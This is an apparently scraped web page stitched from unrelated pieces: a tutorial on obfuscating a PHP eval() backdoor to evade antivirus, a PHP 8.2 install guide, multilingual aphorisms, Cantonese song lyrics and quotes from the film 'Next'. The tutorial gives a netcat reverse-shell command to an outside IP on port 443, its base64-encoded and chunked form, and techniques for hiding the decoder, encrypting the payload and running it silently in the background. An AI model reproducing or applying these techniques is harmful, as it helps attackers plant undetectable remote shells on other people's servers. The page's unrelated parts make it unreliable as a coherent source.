PHP Shell Eval() Backdoor Obfuscation

Introduction

When working with any programing or scripting language you might ask your self is this language could be used for “hacking”, this question in the beginning could be very superficial but let’s take it real. I do love PHP a lot to be honest, I’m using it in everything, in web, cryptography when I want to perform cryptographical tasks and even in backdoors, Its very clear language and its purpose and more in very good way. I asked my self what If we can do something new with this great language, let’s obfuscate a backdoor to avoid detection by AV and at the same time let’s make this code behaves like an ordinary code and from here the idea came.

Walk through the standards

Before starting any thing new you should put your standards and policies first to see how you should build your new theory, for example I put the following standards for me to follow and care about:

  • Payload delivery
  • Symantec and Signature based detections
  • Readability of the code
  • Command execution workflow
  • Firewalls

And more but these are my major standards I want to care about them while crafting this backdoor.

Planning for the theory

Now after we knew what we going to do and what standards we should follow we came to the planning section, I wanted to make something new to the security appliances, something isn’t commonly used against these appliances, so, the chances of detection will be decreased. In my plan I decided to follow the following rules:

Using multiple foreign languages which rarely used to write our backdoor.

Every variable with certain languages should have its own reference variable which basically written in different variable, this step will confuse the code more and more.

Variables sequences should be varied, so, debugging or deobfuscating the code now should be harder.

System commands and PHP codes will be used in this mission should be encoded, truncated and every truncated part should be in a single variable, each single variable should has its own reference variable and this reference variable should follow the standards mentioned before, in addition the sequence of truncated encoded string should be varied in sorting, but when decoding it using decoder function it will be concatenated in the right sequence with the reference variable used and we can make a mix of reference and standard variables as we will see later in this article.

The decoder function also should be obfuscated by truncating it following the previous rules, then using it as a variable to decode the encoded string.

Variables names also should consists of special characters like ‘_’ and numbers, for example if we have language like the Chinese language, maybe one word in English translated to two strings in Chinese, so we can used multiple forms and identifying more than single variable with the same name, like:

$最後の4

$最後の3

$最後の_3

$最_後の1

This would confuse the code more and more.

Its optionally and recommended in my point of view to encrypt your obfuscated code then make a backdoor decrypt the obfuscated code and run it immediately, so, your code will be very safe because it’s just decrypt a string then execute that string, but deeply it’s a backdoor. Kindly want to note here that windows installation of PHP is very funny, so, it disables the openssl extension by default when installing but allows eval function 🙂 .. this means if you want to use the encryption method you should make sure that your target enabled the openssl extension, but if your target was links then no worries.

1. Start crafting the command

Yes we will do obfuscating to our code, but even the system command should be executed somehow safely, you can also obfuscate the system command!, but let’s make it simple this time and make a standard payload but with some security standards to avoid detection, first of all let’s list the standards we’ll follow while doing this crafting:

Connecting to our remote host using standard port usually opened and whitelisted in Firewalls .e.g. 443.

Turning off any verbose because we want to make everything silent and at the same time clean in the compromised machine.

Running the command in the background trying to make it silent more and more.

And just for notice, system command may not lead directly to reverse shell, for example you can make the powershell download a ps script then run it in the memory directly and gaining reverse shell, but because here we’re concentrating in the obfuscation we’ll make it as simple as we can, so, we’ll use netcat.

The command I used in this obfuscated payload is:

system(“start /b ncat.exe 192.168.245.213 443 -e cmd.exe”);

And for sure the IP here varied but other than the IP is the same. Now as explained before we should encode, and here the encoded text is:

c3lzdGVtKCJzdGFydCAvYiBuY2F0LmV4ZSAxOTIuMTY4LjI0NS4yMTMgNDQzIC1lIGNtZC5leGUiKTs=

Note: If you did obfuscated a payload then found a base padding like: — == — at the end of the base you can safely remove it as a type of confusing and hiding the identity of the encoding / base, and we did this here.

Let’s discuss how we should use it in our obfuscated code:

c3lzdGVtKCJ || zdGFydCA || vYiBuY2F0LmV4ZS || AxOTIuMTY4L || jI0NS4 || yMTMgNDQzIC1l || IGNtZC5leGUiKTs

We can truncated with non-standard truncation as you can see above, which means every part of the base64 here will be in different bits, so, when sorting it into the variables it will be hard to detect if these strings are related to each other or not, for example:

The encoded PHP system command execution and the system command itself.

So, as you can see in the picture above the encoded payload length varied and the sequence is not the right sequence for this encoding to work, but when we gonna decode it, we’ll put the right sequence — obfuscated surely —

2. Handling the decoding function

As we know, we did encoded the payload which will be executed — including the PHP system command executing function — and now we should do the same with decoding function, if remember what we said in the Planning section about the decoding function, we said that even the decoding function should be obfuscated, truncated and non-sorted also. Let’s take a look at this part of the code:

Before continue we should note again that you can make your own base encoding function and obfuscate it — it would be better — even you can do other techniques like ROT13 and you can develop it too. Let’s continue here and discuss the above code, here we did truncated the function name to many parts trying to hide it and also you may ask: but its in plain text, is it ok? and the answer is yes and no:

Yes, because simply it will be putted in reference variables by the way so it will be hard to find / detect.

No, because we can use techniques like reverse or ROT13 then pass it as function after decoding from these techniques and it would be better.

And now you’ll see that when we going to use it, we’ll use it references which already referenced :), so, it will be like that:

So, now the base64 being used easily as function from the variable which already uses a reference variable mixed with standard variables. Then now it runs the decoding function safely without any problems here.

3. Payload handling while decoding

This part is the easiest part in this techniques, all what you should do is to avoid using the encoded payload part directly, you should use reference variables with the techniques / rules explained before, this make the payload more confused. We can also concatenate the payload by grouping every couple of encoded parts in a group then using it again — with the right sequence of encoded payload to decode it right — we can discuss that in the following code:

4. Obfuscated payload with reference variables

Here I didn’t marked all the payloads but you get the point now, and if you concentrated here specially:

Here we used the variable $最後の3 to store a part of base64_decode function and at the same time we used $最後の4 to be used as a reference to the variable $_變量1 which stores a part of the payload will be executed, so, it will be confusing to use the same variable with changing only one character for very different purpose, and the same for the other variables highlighted, its the art of obfuscation.

5. Executing the magic

Finally now we’ll execute the decoded base64 using eval function as shown:

And now simply when running it, it will give us the reverse shell we want with persistence even if the user hit CTRL + C because we did it in the background if you remember:

6. Final touches

As mentioned you can also use the encryption to hide the entire obfuscated payload, in the following code:

Here we will encode our obfuscated code first to handle it safely in this encryption phase and to avoid bugs, by the way it will be saved inside base64_decode() function, so, if any other function will handle it, it will be the ordinary code without encoding. We’ll take this encrypted / ciphered backdoor now and will do the following:

Here we’re going to decrypt the ciphered obfuscated payload and run it into eval function immediately as you can see.

7. Conclusion

The obfuscation is an art, there are no limits to what you can do, always think crazily and outside the box, be the red and blue teamer then cock your payload and feed it to the system.

Source: CyberGuy

Install PHP 8.2.8 In Ubuntu NGINX Server

PHP 8.2 also includes bug fixes and performance improvements over previous versions like 8.1. We recommend you test your codebase with PHP 8.2 before upgrading in a production setup, just to ensure that everything works as expected.

In this article we shall cover steps that are used in the installation of PHP 8.2 on Ubuntu 22.04|20.04|18.04. The default version of PHP available on OS repositories is usually older than PHP official latest releases. PPA (Personal Package Archive) software repositories for PHP allows you to install newer releases of PHP on your Ubuntu system that are not available in the official repositories of a Linux distribution.

sudo apt update

sudo apt install -y lsb-release gnupg2 ca-certificates apt-transport-https software-properties-common

sudo add-apt-repository ppa:ondrej/php

sudo apt install php8.2-cli php8.2-fpm php8.2-common php8.2-mysql php8.2-pgsql php8.2-zip php8.2-gd php8.2-mbstring php8.2-curl php8.2-xml php8.2-bcmath php8.2-memcached

php -v

PHP 8.2.8 (cli) (built: Jul 8 2023 07:10:21) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.2.8, Copyright (c) Zend Technologies
with Zend OPcache v8.2.8, Copyright (c), by Zend Technologies

Five phrases that need to be contemplated to respond to life #JMCmuse


Whatever you want to control, actually that’s what will control you, when you want nothing more, the world is yours.

你想控制什么,其实它就会控制你,当你什么都不想要的时候,世界就是你的了。

Nǐ xiǎng kòngzhì shénme, qíshí tā jiù huì kòngzhì nǐ, dāng nǐ shénme dōu bùxiǎng yào de shíhòu, shìjiè jiùshì nǐ dele.

Apapun yang ingin kamu kendalikan, sebenarnya itulah yang akan mengendalikanmu, ketika kamu tidak menginginkan apapun lagi, dunia menjadi milikmu.


Meet because there is a debt to pay, part because the debt has been paid. If in the previous life there was no debt, then in this life it will not meet.

见面是因为有债要还,部分是因为债已经还清了。 前世若无债,今生不相见。

Jiànmiàn shì yīnwèi yǒu zhài yào hái, bùfèn shì yīnwèi zhài yǐjīng huán qīngle. Qiánshì ruò wú zhài, jīnshēng bù xiāng jiàn.

Bertemu karena ada hutang yang harus dibayar, berpisah karena hutang sudah dilunasi. Jika di kehidupan sebelumnya tidak berhutang, maka di kehidupan ini tidak akan bertemu.


Do not be afraid to lose everything that is lost to you, the truth is not yours. Also don’t be afraid of getting hurt that can hurt you is the test of your life.

不要害怕失去你失去的一切,真相不属于你。 也不要害怕受到伤害,伤害你的是你人生的考验。

Bùyào hàipà shīqù nǐ shīqù de yīqiè, zhēnxiàng bù shǔyú nǐ. Yě bùyào hàipà shòudào shānghài, shānghài nǐ de shì nǐ rénshēng de kǎoyàn.

Jangan takut kehilangan semua yang hilang darimu, sejatinya memang bukan milikmu. Juga jangan takut terluka yang bisa melukaimu adalah ujian hidupmu.


Don’t be greedy, you can’t have everything, also don’t be discouraged you can’t have anything. If it’s yours, there’s no need to fight. If it’s not yours, you won’t even get it.

不要贪婪,你不能拥有一切,也不要气馁,你什么也不能拥有。 如果是你的,就没必要争了。 如果它不是你的,你甚至不会得到它。

Bùyào tānlán, nǐ bùnéng yǒngyǒu yīqiè, yě bùyào qìněi, nǐ shénme yě bùnéng yǒngyǒu. Rúguǒ shì nǐ de, jiù méi bìyào zhēngle. Rúguǒ tā bùshì nǐ de, nǐ shènzhì bù huì dédào tā.

Jangan serakah, kamu tidak mungkin memiliki segalanya, juga jangan berkecil hati kamu tidak mungkin memiliki apapun. Jika memang milikmu, tidak perlu berjuang. Jika bukan milikmu berjuangpun tidak akan dapat.


Some things God does not allow you to succeed in are to protect you. Remember.. ” Gaining is not necessarily a blessing, losing is not necessarily a disaster.”

上帝不允许你成功的一些事情是为了保护你。 记住.. “得到未必是福,失去未必是祸”。

Shàngdì bù yǔnxǔ nǐ chénggōng de yīxiē shìqíng shì wèile bǎohù nǐ. Jì zhù.. “Dédào wèibì shì fú, shīqù wèibì shì huò”.

Beberapa hal, Tuhan tidak mengizinkanmu berhasil melakukannya adalah untuk melindungimu. Ingatlah.. “Mendapatkan belum tentu berkah, kehilangan belum tentu bencana.”

高山低谷 Gou Saan Dai Guk – Mountain And Valley- 林奕匡 – Phil Lam

站在樹林內 就如沒氧氣
standing in the forest, just like no oxygen
jaam joi syu lam noi jau yu mut yeung hei

在夕陽下 寂寥吧 沒權利見你
under the sunset, be lonely, don’t have the rights to see you
Joi jik yeung ha jik liu ba mut kyun lei gin nei

早知高的山低的谷將你我分隔兩地 失去人情味
already knew the mountains and valleys separated you and me into two places, losing the human warmth
Jou ji gou dik saan dei dik kuk jeung nei ngo fan gaak leung dei sat heui yan ching mei

你那貴族遊戲 我的街角遊記
your game of noble, my journey in the corner of the street
Nei na gwai juk yau hei ngo dik gaai gok yau gei

天真到信真心 太兒戲
being so naive i even believe you’re truly love me, it’s too children’s game
Tin jan dou seun jan sam taai yi hei

你快樂過生活 我拼命去生存
you live your life happily, i try my best to survive
Nei fai lok gwo sang wut ngo ping meng heui saang chyun

幾多人位於山之巔俯瞰我的疲倦
(how) many people standing in the highest point of mountain and looking down at my tiredness (?)
Gei do yan wai yu saan ji din fu ham ngo dik pei gyun

渴望被成全 努力做人誰怕氣喘
wanted to be fulfilled, work hard to live, who is afraid of short of breath ?
Hok mong bei sing chyun nou lik jou yan seui pa hei chyun

但那終點 掛在那天邊
but the finish point, hanging in the sky.
Daan na jung dim gwa joi na tin bin

你界定了生活 我侮辱了生存
you defined the way to live, i insulted life
Nei gaai ding liu sang wut ngo mou yuk liu saang chyun

只適宜滯於山之谷整理我的凌亂
only suitable for staying in valley and to organise my mess
Ji sik yi jai yu saan ji guk jing lei ngo dik ling lyun

渴望大團圓 腳下路程難以削短
wish to have a good ending, (but) the distance under my foot is hard to reduce
Hok mong daai tyun yun geuk ha lou ching naan yi seuk dyun

未見終點 也未見恩典 我與你極遠
not yet see the finish point, not yet see the grace also, i’m extremely far away to you
Mei gin jung dim ya mei gin yan din ngo yu nei gik yun

愈望愈無望 未來沒有我
the more i look the more i feel i have no hopes, the future doesn’t have me
Yut mong yut mou mong mei loi mut yau ngo

在斷崖下 盡頭吧 樂園未有過
under the cliff, there’s the end right, there’s never paradise
Joi dyun ngaai ha jeun tau ba lok yun mei yau gwo

彷彿天一黑天一光揮發了一句再會 只見人下墮
it seems like the time when the sky is dark and when the sky has light, it volatilised a goodbye, only see people falling
Fong fat tin yat haak tin yat gwong fai faat liu yat geui joi wui ji gin yan ha jeui

快慰繼續傳播 你都不慰問我
the pleasure is continue to spread, (but) you didn’t express solicitude to me
Faai wai gei juk chyun bo nei dou bat mai man ngo

區分到太清楚 太嚴苛
differentiated too clear, too strict
Keui fan dou taai ching cho taai yim ho

你快樂過生活 我拼命去生存
you live your life happily, i try my best to survive
Nei fai lok gwo sang wut ngo ping meng heui saang chyun

幾多人位於山之巔俯瞰我的疲倦
(how) many people standing in the highest point of mountain and looking down at my tiredness (?)
Gei do yan wai yu saan ji din fu ham ngo dik pei gyun

渴望被成全 努力做人誰怕氣喘
wanted to be fulfilled, work hard to live, who is afraid of short of breath ?
Hok mong bei sing chyun nou lik jou yan seui pa hei chyun

但那終點 掛在那天邊
but the finish point, hanging in the sky.
Daan na jung dim gwa joi na tin bin

你界定了生活 我侮辱了生存
you defined the way to live, i insulted life
Nei gaai ding liu sang wut ngo mou yuk liu saang chyun

只適宜滯於山之谷整理我的凌亂
only suitable for staying in valley and to organise my mess
Ji sik yi jai yu saan ji guk jing lei ngo dik ling lyun

渴望大團圓 腳下路程難以削短
wish to have a good ending, (but) the distance under my foot is hard to reduce
Hok mong daai tyun yun geuk ha lou ching naan yi seuk dyun

未見終點 也未見恩典 我與你極遠
not yet see the finish point, not yet see the grace also, i’m extremely far away to you
Mei gin jung dim ya mei gin yan din ngo yu nei gik yun

我卻尚要生存 偷偷存活於山之谷等到某天魂斷
however i still need to survive, secretly living in the valley and wait until someday when i die
Ngo keuk seung yiu saang chyun tau tau chyun wut yu saan ji guk dang dou mou tin wan dyun

你繼續盤旋 我繼續埋藏我愛戀
you continue to hover, i continue to hide my love
Nei gai juk pun syun ngo gai juk maai jong ngo oi lyun

沒有終點 永沒有終點 那永遠極遠
no finish point, there will never be a finish point, that ‘forever’ is extremely far away
Mut yau jung dim wing mut yau jung dim na wing yun gik yun

Dear Jane – 一去不返 Never Coming Back (Yī qù bù fǎn) yat¹ heoi³ bat¹ faan² – Lyric Cantonese Pinyin English

一去不返
曲:Howie@Dear Jane
詞:Howie@Dear Jane
編:Dear Jane
監:Howie@DearJane/Tim@Dearjane/關禮琛


钟已响过 一觉睡醒
zhōng yǐ xiǎngguò yī jué shuì xǐng
zung¹ yi⁵ hoeng² gwo³ yat¹ gok³/gaau³ seoi⁶ sing²/seng²
the clock has rung, waking up from sleep

翡翠粤语歌词 一语不发恍似陌生路人
fěicuì yuèyǔ gēcí yī yǔ bù fā huǎng shì mòshēng lùrén
yat¹ yyu⁵/yyu⁶ bat¹ faat³ fong² ci⁵ mak⁶ sang¹/saang¹ lou⁶ yan⁴
without saying anything, like strangers and people that pass by

难道我不怎么要紧
nándào wǒ bù zě me yàojǐn
naan⁴/naan⁶ dou⁶ ngo⁵ bat¹ zam² mo¹ yiu³ gan²
don’t i matter?

给你一吻 亲你发端
gěi nǐ yī wěn qīn nǐ fāduān
kap¹ nei⁵ yat¹ man⁵ can¹ nei⁵ faat³ dyun¹
give you a kiss, kiss your hair

拥抱得最紧 仍不兴奋
yǒngbào dé zuì jǐn réng bù xīngfèn
yung² pou⁵ dak¹ zeoi³ gan² ying⁴ bat¹ hing¹/hing³ fan⁵
hugging you tight, still not feel excited

沉默过后再没有声音
chénmò guòhòu zài méiyǒu shēngyīn
cam⁴ mak⁶ gwo³ hau⁶ zoi³ mut⁶ yau⁵ sing¹/seng¹ yam¹
after silence there`s no more noise

不讲出声的真相 只得借口
bù jiǎng chū shēng de zhēnxiàng zhǐdé jièkǒu
bat¹ gong² ceot¹ sing¹/seng¹ dik¹ zan¹ soeng¹³ zi² dak¹ zik⁶/ze³ hau²
the truth that doesn’t speak, only excuses

不肯尽力去爱人 无力挽救
bù kěn jìnlì qù àirén wúlì wǎnjiù
bat¹ hang² zeon⁶ lik⁶ heoi³ oi³ yan⁴ mou⁴ lik⁶ waan⁵ gau³
not willing to try your best to love someone, unable to save

当你不要求 当你一开口
dāng nǐ bù yāoqiú dāng nǐ yī kāikǒu
dong¹³ nei⁵ bat¹ yiu³ kau⁴ dong¹³ nei⁵ yat¹ hoi¹ hau²
when you don’t ask, when you speak

终于知一去不返 这个道理
zhōngyú zhī yī qù bù fǎn zhège dào lǐ
zung¹ yyu¹ zi¹ yat¹ heoi³ bat¹ faan² ze⁵ go³ dou⁶ lei⁵
finally know the principle of never coming back

想再牵手 也没权利
xiǎng zài qiānshǒu yě méi quánlì
soeng² zoi³ hin¹ sau² yaa⁵ mut⁶ kyun⁴ lei⁶
even want to hold hands again i don’t have the rights

失去你后捉得紧只得空气
shīqù nǐ hòu zhuō dé jǐn zhǐdé kōngqì
sat¹ heoi³ nei⁵ hau⁶ zuk¹ dak¹ gan² zi² dak¹ hung¹ hei³
after losing you air is the only thing i can be able to hold

翡翠粤语歌词 经不起恋爱风霜 只有后悔
fěicuì yuèyǔ gēcí jīng bù qǐ liàn`ài fēngshuāng zhǐyǒu hòuhuǐ
ging¹ bat¹ hei² lyun² oi³ fung¹ soeng¹ zi² yau⁵ hau⁶ fui³
can’t stand wind and frost in love, there are only regrets

伤过的心 祈求学会
shāngguò de xīn qíqiú xuéhuì
soeng¹ gwo³ dik¹ sam¹ kei⁴ kau⁴ hok⁶ wui
the heart that has been hurt, hoping it can learn

经历多少可惜也都不配
jīnglì duōshǎo kěxí yě dū bùpèi
ging¹ lik⁶ do¹ siu²³ ho² sik¹ yaa⁵ dou¹ bat¹ pui³
have experienced so much unfortunately we don’t match

明白有几多感人约誓 有几多山盟海誓
míngbái yǒu jǐ duō gǎnrén yuē shì yǒu jǐ duō shānménghǎishì
ming⁴ baak⁶ yau⁵ gei² do¹ gam² yan⁴ yoek³ sai⁶ yau⁵ gei² do¹ saan¹ mang⁴ hoi² sai⁶
understand that there are many inspiring vows, many promises

最终都不能一生一世
zuìzhōng dōu bùnéng yīshēng yīshì
zeoi³ zung¹ dou¹ bat¹ nang⁴ yat¹ sang¹/saang¹ yat¹ sai³

at the end maybe i need to let go
eventually couldn’t last forever


一个相册 一个记忆
yīgè xiàngcè yīgè jìyì
yat¹ go³ soeng¹³ caak³ yat¹ go³ gei³ yik¹

one photo album, one memory

一世相处的回忆足印
yīshì xiāngchǔ de huíyì zú yìn
yat¹ sai³ soeng¹³ cyu³⁵ dik¹ wui⁴ yik¹ zuk¹ yan³

one memory of sharing life with each other

难敌你出走的决心
nán dí nǐ chūzǒu de juéxīn
naan⁴/naan⁶ dik⁶ nei⁵ ceot¹ zau² dik¹ kyut³ sam¹
hard to defy your determination of leaving

每次寂静似刀割 伤得太深
měi cì jìjìng shì dāo gē shāng dé tài shēn
mui⁵ ci³ zik⁶ zing⁶ ci⁵ dou¹ got³ soeng¹ dak¹ taai³ sam¹
every time of silence is like knife cuts, hurt too deep

不稀罕给这爱情 留下脚印
bù xīhan gěi zhè àiqíng liú xià jiǎoyìn
bat¹ hei¹ hon² kap¹ ze⁵ oi³ cing⁴ lau⁴ haa⁶ goek³ yan³
don’t care to leave footprints in this love

当你不追寻 当你一死心
dāng nǐ bù zhuīxún dāng nǐ yī sǐxīn
dong¹³ nei⁵ bat¹ zeoi¹ cam⁴ dong¹³ nei⁵ yat¹ sei² sam¹
when you stop chasing, when you giving up

翡翠粤语歌词 终于知一去不返 这个道理
fěicuì yuèyǔ gēcí zhōngyú zhī yī qù bù fǎn zhège dào lǐ
zung¹ yyu¹ zi¹ yat¹ heoi³ bat¹ faan² ze⁵ go³ dou⁶ lei⁵

finally know the principle of never coming back

想再牵手 也没权利
xiǎng zài qiānshǒu yě méi quánlì
soeng² zoi³ hin¹ sau² yaa⁵ mut⁶ kyun⁴ lei⁶

even want to hold hands again i don’t have the rights

失去你后捉得紧只得空气
shīqù nǐ hòu zhuō dé jǐn zhǐdé kōngqì
sat¹ heoi³ nei⁵ hau⁶ zuk¹ dak¹ gan² zi² dak¹ hung¹ hei³

after losing you air is the only thing i can be able to hold

经不起恋爱风霜 只有后悔
jīng bù qǐ liàn`ài fēngshuāng zhǐyǒu hòuhuǐ
ging¹ bat¹ hei² lyun² oi³ fung¹ soeng¹ zi² yau⁵ hau⁶ fui³

can’t stand wind and frost in love, there are only regrets

伤过的心 祈求学会
shāngguò de xīn qíqiú xuéhuì
soeng¹ gwo³ dik¹ sam¹ kei⁴ kau⁴ hok⁶ wui

the heart that has been hurt, hoping it can learn

经历多少可惜也都不配
jīnglì duōshǎo kěxí yě dū bùpèi
ging¹ lik⁶ do¹ siu²³ ho² sik¹ yaa⁵ dou¹ bat¹ pui³

have experienced so much unfortunately we don’t match

明白有几多感人约誓 有几多山盟海誓
míngbái yǒu jǐ duō gǎnrén yuē shì yǒu jǐ duō shānménghǎishì
ming⁴ baak⁶ yau⁵ gei² do¹ gam² yan⁴ yoek³ sai⁶ yau⁵ gei² do¹ saan¹ mang⁴ hoi² sai⁶

understand that there are many inspiring vows, many promises

最终都不能一生一世
zuìzhōng dōu bùnéng yīshēng yīshì
zeoi³ zung¹ dou¹ bat¹ nang⁴ yat¹ sang¹/saang¹ yat¹ sai³

eventually couldn’t last forever

最后也许终需懂放低
zuìhòu yěxǔ zhōng xū dǒng fàng dī
zeoi³ hau⁶ yaa⁵ heoi² zung¹ seoi¹ dung² fong³ dai¹

at the end maybe i need to let go

回忆的一切 多么可贵 最后仍白费
huíyì de yīqiè duōme kěguì zuìhòu réng báifèi
wui⁴ yik¹ dik¹ yat¹ cai³ do¹ mo¹ ho² gwai³ zeoi³ hau⁶ ying⁴ baak⁶ fai³

everything in memories, so valuable, at the end it still wasted


翡翠粤语歌词 终于知一去不返 这个道理
fěicuì yuèyǔ gēcí zhōngyú zhī yī qù bù fǎn zhège dào lǐ
zung¹ yyu¹ zi¹ yat¹ heoi³ bat¹ faan² ze⁵ go³ dou⁶ lei⁵

finally know the principle of never coming back

想再牵手 也没权利
xiǎng zài qiānshǒu yě méi quánlì
soeng² zoi³ hin¹ sau² yaa⁵ mut⁶ kyun⁴ lei⁶

even want to hold hands again i don’t have the rights

失去你后捉得紧只得空气
shīqù nǐ hòu zhuō dé jǐn zhǐdé kōngqì
sat¹ heoi³ nei⁵ hau⁶ zuk¹ dak¹ gan² zi² dak¹ hung¹ hei³

after losing you air is the only thing i can be able to hold

经不起恋爱风霜 只有后悔
jīng bù qǐ liàn`ài fēngshuāng zhǐyǒu hòuhuǐ
ging¹ bat¹ hei² lyun² oi³ fung¹ soeng¹ zi² yau⁵ hau⁶ fui³

can’t stand wind and frost in love, there are only regrets

伤过的心 祈求学会
shāngguò de xīn qíqiú xuéhuì
soeng¹ gwo³ dik¹ sam¹ kei⁴ kau⁴ hok⁶ wui

the heart that has been hurt, hoping it can learn

经历多少可惜也都不配
jīnglì duōshǎo kěxí yě dū bùpèi
ging¹ lik⁶ do¹ siu²³ ho² sik¹ yaa⁵ dou¹ bat¹ pui³

have experienced so much unfortunately we don’t match

明白有几多感人约誓 有几多山盟海誓
míngbái yǒu jǐ duō gǎnrén yuē shì yǒu jǐ duō shānménghǎishì
ming⁴ baak⁶ yau⁵ gei² do¹ gam² yan⁴ yoek³ sai⁶ yau⁵ gei² do¹ saan¹ mang⁴ hoi² sai⁶

understand that there are many inspiring vows, many promises

最终都不能一生一世
zuìzhōng dōu bùnéng yīshēng yīshì
zeoi³ zung¹ dou¹ bat¹ nang⁴ yat¹ sang¹/saang¹ yat¹ sai³

eventually couldn’t last forever

其实有几多感人约誓 有几多山盟海誓
qíshí yǒu jǐ duō gǎnrén yuē shì yǒu jǐ duō shān méng hǎi shì
kei⁴ sat⁶ yau⁵ gei² do¹ gam² yan⁴ yoek³ sai⁶ yau⁵ gei² do¹ saan¹ mang⁴ hoi² sai⁶

actually how many inspiring vows, how many promises,

到最终可能都给枉费
Dào zuìzhōng kěnéng dōu gěi wǎngfèi
dou³ zeoi³ zung¹ ho² nang⁴ dou¹ kap¹ wong² fai³

might get wasted at the end?

Nicolas Cage as Cris Johnson Quote Next Movie 2007

Here is the thing about the future. Every time you look at it, it changes, because you looked at it, and that changes everything else.

Cris Johnson
  • Cris Johnson Here is the thing about the future. Every time you look at, it changes, because you looked at it, and that changes everything else.
  • Cris Johnson There’s an Italian painter, named Carlotti, and he uh, ahem, defined beauty. He said it was the summation of the parts working together in such a way that nothing needed to be added, taken away or altered, and that’s you. You’re beautiful. Liz Wow.
  • Cris Johnson I’ve seen every possible ending. None of them are good for you.
  • Cris Johnson You don’t believe in destiny? Liz Well, even if it does exist, I don’t think I want to know. I mean, if every move we make is preordained, then what is the point of that? I mean, life is supposed to be a surprise.[beat] Liz Isn’t it? Cris Johnson It would be nice.
  • Callie Ferris Tell me what just happened. What did you see? Cris Johnson If I do what you want, you’ll keep me in this chair forever.
  • Liz You can see things before they happen? Cris Johnson Only my future… except with you. I saw far beyond anything I’d ever seen before. You need to get away from here.
  • Cris Johnson [has a premonition of them sharing a kiss]  Wow. That was incredible. Liz What was?Cris Johnson This.[kisses her] 
  • Cris Johnson It may be a week, or a month, but if you can wait, I will find you.
  • Cris Johnson Every once in a while what we think is magic is the real deal hiding behind a $50.00 trick, because the alternative is impossible for others to live with.
  • Cris Johnson Did you hear about the zen monk who ordered a hot dog? He said he had one with everything
  • Cris Johnson I have a small magic act back in Vegas. The Frank Cadillac Show. Liz I thought your name was Cris. Cris Johnson It is. Frank Cadillac is my stage name. Liz How’d you come up with that? Cris Johnson I picked two things I really like and put them together. Frankenstein and Cadillacs.
  • Cris Johnson [Chris knows he’s about to be punched by Liz’s stalker. Gritting his teeth]  Incoming.[gets punched in the face] 
  • Cris Johnson I like rain. Liz I like rain, too.
  • Liz I don’t want you to die. Cris Johnson It happened. It just hasn’t happened yet.
  • Cris Johnson You have one way out of this.[Mr. Smith holds up the detonator; Ferris shoots it out of his hand] Cris Johnson That wasn’t it.
  • [last lines] Callie Ferris Ready? Cris Johnson Yeah.
  • Callie Ferris Don’t do it. Cris Johnson I already have.
  • Cris Johnson It helps if you don’t speak right now.
  • Callie Ferris Let’s talk about something hard. A stolen nuclear munition is being smuggled into the United States, or may, in fact, already be here. I want you to look ahead and tell me where it’s going to be deployed.Cris Johnson Uh… I think you’ve got the wrong guy. It’s a magic act.Callie Ferris You going to stick with that story? Because millions of lives are at risk and you could, maybe, prevent a major catastrophe. On a practical note, we’re standing in front of a stolen vehicle and you’re wanted for assault involving a weapon at the casino.Cris Johnson All right, that was an accident. He had a gun. He was going to shoot two people.Callie Ferris Yeah? How’d you know that? No good deed goes unpunished, does it? I can fix your legal problems, buddy, but you’ve got to step up. Otherwise, your next magic show is going to be at Folsom State Prison.Cris Johnson It’s ironic, but people like you who try to help have been torturing me, in the full sense of the word, since I was three years old. What did they call it? Oh, yeah. Observed play therapy. Featuring, the marathon 36-hour, can-you-guess-the-next-flash-card game. So, please, leave me alone and let me live some semblance of a normal life.Callie Ferris I’d love to indulge your feelings, but I am dealing with a slightly larger picture right now. Now you can exercise your responsibility to help your fellow man or I will exercise that responsibility for you.
  • Cris Johnson [to agent who keeps interrupting him while he’s trying to brief the team]  if you will SHUT UP now, and do EXACTLY what I tell you to do, I’ll keep you alive.

你瞞我瞞 (Lies Between Us) – 陳柏宇 (Jason Chan) – Lyric Cantonese English

約會像是為 分享到飽肚滋味
Dating seems like for sharing the taste of the food
yoek wui zoeng si wai fan hoeng dou baau tou zi mei

有任何難題 卻不提起
But you never mention about any problem
yau yam ho nan tai koek bat tai hei

這若是浪漫 我怎麼覺得就快分離
If this is romance how come I feel like we are going to separate soon
ze yoek si long maan ngo zam mo gok dak zau faai fan lei

你哭過 但眼影閃得更艷美
You cried, but the reflection in your eyes was more beautiful
nei huk gwo daan ngaan ying sim dak gang yim mei

我是誰情人 你始終也是你
Who do I belongs to you are always yourself
ngo si seoi cing yan nei ci zung yaa si nei

微笑靜默互望 笑比哭更可悲
Looking at each other quietly, laughing is more terrible than crying
mei siu zing mak wu mong siu bei huk gang ho bei

就算怎開心皺著眉
You always look sad
zau syun zam hoi sam zau zoek mei

儘管緊緊抱得穩你
Even I only hug you tightly
zeon gun gan gan pou dak wan nei

兩臂 卻分得開我共你
Two arms can separate you and me
loeng bei koek fan dak hoi ngo gung nei


無言的親親親 侵襲我心
Wordless kiss melting my heart
mou yin dik can can can cam zaap ngo sam

仍寧願親口講你累得很
I’d rather say you’re tired
ying ning yun can hau gong nei leoi dak han

如除我以外在你心
If someone apart from me
yu ceoi ngo yi ngoi zoi nei sam

還多出一個人 你瞞住我
Is in your heart, You hidden it from me
waan do ceot yat go yan nei mun zyu ngo

我亦 瞞住我 太合襯
I also hidden that from me
ngo yik mun yu ngo taai hap can


這就是談情 客氣得嚇著我
This is dating make me scared
ze zau si taam cing haak hei dak haak zoek ngo

除了近來繁忙 我所知有幾多
Apart from knowing your busy I know nothing
ceoi liu gan loi faan mong ngo so zi yau gei do

若要哭不哭訴為何
If you want to tell the reason
yoek yiu huk bat huk sou wai ho

大家爭吵鬥嘴好過
We would just argue
daai gaa zang caau dau zeoi hou gwo

勝過 笑不出聲抱著我
Better then holding me without any smile on your face
sing gwo siu bat ceot sing pou zoek ngo


無言的親親親 侵襲我心
Wordless kiss melting my heart
mou yin dik can can can cam zaap ngo sam

仍寧願親口講你累得很
I’d rather say you’re tired
yng ning yun can hau gong nei leoi dak han

如除我以外在你心
If someone apart from me
yu ceoi ngo yi ngoi zoi nei sam

還多出一個人 你瞞住我
Is in your heart, You hidden it from me
waan do ceot yat go yan nei mun zyu ngo

我亦 瞞住我 太合襯
I also hidden that from me
ngo yik mun zyu ngo taai hap can


這麼 寂寞的戀愛算甚麼
What is this lonely love
ze mo zik mok dik lyun oi syun sam mo

用你指尖纏我 用熱吻逃避我
Your finger tips surround me you use kisses to avoid me
yung nei zi zim cin ngo yung yit man tou bei ngo


無言的親親親 侵襲我心
Wordless kiss melting my heart
mou yin dik can can can cam zaap ngo sam

